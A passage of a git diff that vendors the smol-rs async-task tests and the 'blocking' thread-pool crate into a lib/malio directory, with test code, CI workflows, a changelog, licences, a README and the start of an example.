assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn cancel_last_task() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn drop_last_task() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} diff --git a/lib/malio/async-task/tests/waker_ready.rs b/lib/malio/async-task/tests/waker_ready.rs new file mode 100644 index 0000000..b6f6b5f --- /dev/null +++ b/lib/malio/async-task/tests/waker_ready.rs @@ -0,0 +1,279 @@ +use std::cell::Cell; +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms, and returns `Poll::Ready` the second time it is polled. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(Cell, #[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Box; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(200)); + + if self.0.get() { + Poll::Ready(Box::new(0)) + } else { + self.0.set(true); + Poll::Pending + } + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Cell::new(false), Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn wake() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + assert!(chan.is_empty()); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + runnable = chan.recv().unwrap(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn wake_by_ref() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + assert!(chan.is_empty()); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake_by_ref(); + runnable = chan.recv().unwrap(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake_by_ref(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[allow(clippy::redundant_clone)] // This is intentional +#[test] +fn clone() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + let w2 = get_waker().clone(); + let w3 = w2.clone(); + let w4 = w3.clone(); + w4.wake(); + + runnable = chan.recv().unwrap(); + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + w3.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(w2); + drop(get_waker()); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn wake_dropped() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + let waker = get_waker(); + + waker.wake_by_ref(); + drop(chan.recv().unwrap()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn wake_completed() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + let waker = get_waker(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} diff --git a/lib/malio/blocking/.github/dependabot.yml b/lib/malio/blocking/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/blocking/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/blocking/.github/workflows/ci.yml b/lib/malio/blocking/.github/workflows/ci.yml new file mode 100644 index 0000000..0f04f09 --- /dev/null +++ b/lib/malio/blocking/.github/workflows/ci.yml @@ -0,0 +1,90 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - name: Run cargo check for WASM + run: cargo check --all --all-features --all-targets --target wasm32-unknown-unknown + - run: cargo minimal-versions build --all --all-features + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets + + miri: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + # -Zmiri-ignore-leaks is needed because we use detached threads in tests/docs: https://github.com/rust-lang/miri/issues/1371 + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/blocking/.github/workflows/release.yml b/lib/malio/blocking/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/blocking/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/blocking/.gitignore b/lib/malio/blocking/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/blocking/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/blocking/CHANGELOG.md b/lib/malio/blocking/CHANGELOG.md new file mode 100644 index 0000000..7c08718 --- /dev/null +++ b/lib/malio/blocking/CHANGELOG.md @@ -0,0 +1,142 @@ +# Version 1.6.2 + +- Fix build failure with minimal-versions. (#71) + +# Version 1.6.1 + +- Remove our dependency on the `async-lock` crate. (#59) + +# Version 1.6.0 + +- Panics that occur in `unblock`ed functions are now propagated to the calling + function. (#58) +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#60) +- Remove the unused `fastrand` dependency. (#61) + +# Version 1.5.1 + +- Fix compilation on WebAssembly targets (#54). + +# Version 1.5.0 + +- Bump MSRV to 1.61. (#50) + +# Version 1.4.1 + +- Change the `error_span` in `grow_pool` into `trace_span`. (#45) + +# Version 1.4.0 + +- Bump MSRV to 1.59. (#44) +- Remove the unused `memchr` dependency. (#38) +- Extract read/write pipes into the `piper` crate, which this crate now uses. (#37) +- Mark as `forbid(unsafe_code)` (#37). +- Set up logging using `tracing`. (#40) + +# Version 1.3.1 + +- Gracefully handle the inability to spawn threads. (#31) + +# Version 1.3.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#30) + +# Version 1.2.0 + +- Return `Task` from `unblock` instead of returning opaque type. (#25) + +# Version 1.1.0 + +- Add an environment variable to customize the maximum number of threads. (#21) + +# Version 1.0.2 + +- Update `futures-lite`. + +# Version 1.0.1 + +- Use `async-task`. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.6.1 + +- Add probabilistic yielding to improve fairness. + +# Version 0.6.0 + +- Remove the `unblock!` macro. + +# Version 0.5.2 + +- Implement `Sync` for `Unblock`. + +# Version 0.5.1 + +- Add `Unblock::with_capacity()`. +- Add `unblock()` function. +- An optimization in task spawning. + +# Version 0.5.0 + +- Simplify the API to just `unblock!` and `Unblock`. + +# Version 0.4.7 + +- Simplify dependencies for faster compilation. + +# Version 0.4.6 + +- Update doc comment on `Unblock`. + +# Version 0.4.5 + +- Implement `AsyncSeek`/`Seek` for `Unblock`/`BlockOn`. + +# Version 0.4.4 + +- Remove the initial poll in block_on that caused lost wakeups. + +# Version 0.4.3 + +- Fix a bug where a closed `Receiver` causes panics. + +# Version 0.4.2 + +- Start thread numbering from 1. + +# Version 0.4.1 + +- Attach names to spawned threads. + +# Version 0.4.0 + +- Remove `Future` impl for `Blocking`. +- Add `unblock()`. +- Rename `blocking!` to `unblock!`. +- Rename `Blocking` to `Unblock`. +- Add `block_on()`, `block_on!`, and `BlockOn`. + +# Version 0.3.2 + +- Make `Blocking` implement `Send` in more cases. + +# Version 0.3.1 + +- Add `Blocking::with_mut()`. + +# Version 0.3.0 + +- Remove `Blocking::spawn()`. +- Implement `Future` for `Blocking` only when the inner type is a `FnOnce`. + +# Version 0.2.0 + +- Initial version + +# Version 0.1.0 + +- Reserved crate name diff --git a/lib/malio/blocking/Cargo.toml b/lib/malio/blocking/Cargo.toml new file mode 100644 index 0000000..7667cbc --- /dev/null +++ b/lib/malio/blocking/Cargo.toml @@ -0,0 +1,26 @@ +[package] +name = "blocking" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v1.x.y" git tag +version = "1.6.2" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.68" +description = "A thread pool for isolating blocking I/O in async programs" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/blocking" +keywords = ["async", "file", "stdio", "stdin", "process"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +async-channel = "2.0.0" +async-task = "4.4.0" +futures-io = { version = "0.3.28", default-features = false, features = ["std"] } +futures-lite = { version = "2.0.0", default-features = false } +piper = "0.2.0" +tracing = { version = "0.1.37", default-features = false, optional = true } + +[dev-dependencies] +futures-lite = "2.0.0" diff --git a/lib/malio/blocking/LICENSE-APACHE b/lib/malio/blocking/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/blocking/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/blocking/LICENSE-MIT b/lib/malio/blocking/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/blocking/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/blocking/README.md b/lib/malio/blocking/README.md new file mode 100644 index 0000000..197e77b --- /dev/null +++ b/lib/malio/blocking/README.md @@ -0,0 +1,93 @@ +# blocking + +[![Build](https://github.com/smol-rs/blocking/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/blocking/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/blocking) +[![Cargo](https://img.shields.io/crates/v/blocking.svg)]( +https://crates.io/crates/blocking) +[![Documentation](https://docs.rs/blocking/badge.svg)]( +https://docs.rs/blocking) + +A thread pool for isolating blocking I/O in async programs. + +Sometimes there's no way to avoid blocking I/O. Consider files or stdin, which have weak async +support on modern operating systems. While [IOCP], [AIO], and [io_uring] are possible +solutions, they're not always available or ideal. + +Since blocking is not allowed inside futures, we must move blocking I/O onto a special thread +pool provided by this crate. The pool dynamically spawns and stops threads depending on the +current number of running I/O jobs. + +Note that there is a limit on the number of active threads. Once that limit is hit, a running +job has to finish before others get a chance to run. When a thread is idle, it waits for the +next job or shuts down after a certain timeout. + +The default number of threads (set to 500) can be altered by setting BLOCKING_MAX_THREADS environment variable with value between 1 and 10000. + +[IOCP]: https://en.wikipedia.org/wiki/Input/output_completion_port +[AIO]: https://man7.org/linux/man-pages/man2/io_submit.2.html +[io_uring]: https://lwn.net/Articles/776703/ + +## Examples + +Read the contents of a file: + +```rust +use blocking::unblock; +use std::fs; + +let contents = unblock(|| fs::read_to_string("file.txt")).await?; +println!("{}", contents); +``` + +Read a file and pipe its contents to stdout: + +```rust +use blocking::{unblock, Unblock}; +use futures_lite::io; +use std::fs::File; + +let input = unblock(|| File::open("file.txt")).await?; +let input = Unblock::new(input); +let mut output = Unblock::new(std::io::stdout()); + +io::copy(input, &mut output).await?; +``` + +Iterate over the contents of a directory: + +```rust +use blocking::Unblock; +use futures_lite::prelude::*; +use std::fs; + +let mut dir = Unblock::new(fs::read_dir(".")?); +while let Some(item) = dir.next().await { + println!("{}", item?.file_name().to_string_lossy()); +} +``` + +Spawn a process: + +```rust +use blocking::unblock; +use std::process::Command; + +let out = unblock(|| Command::new("dir").output()).await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or https://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or https://opensource.org/license/mit) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/blocking/examples/ls.rs b/lib/malio/blocking/examples/ls.rs new file mode 100644 index 0000000..878045c --- /dev/null +++ b/lib/malio/blocking/examples/ls.rs @@ -0,0 +1,26 @@ +//! Lists contents of a directory. +//! +//! Run with: +//! +//! ``` +//! cargo run --example ls . +//! ``` + +use std::{env, fs, io}; + +use blocking::Unblock; +use futures_lite::{future, 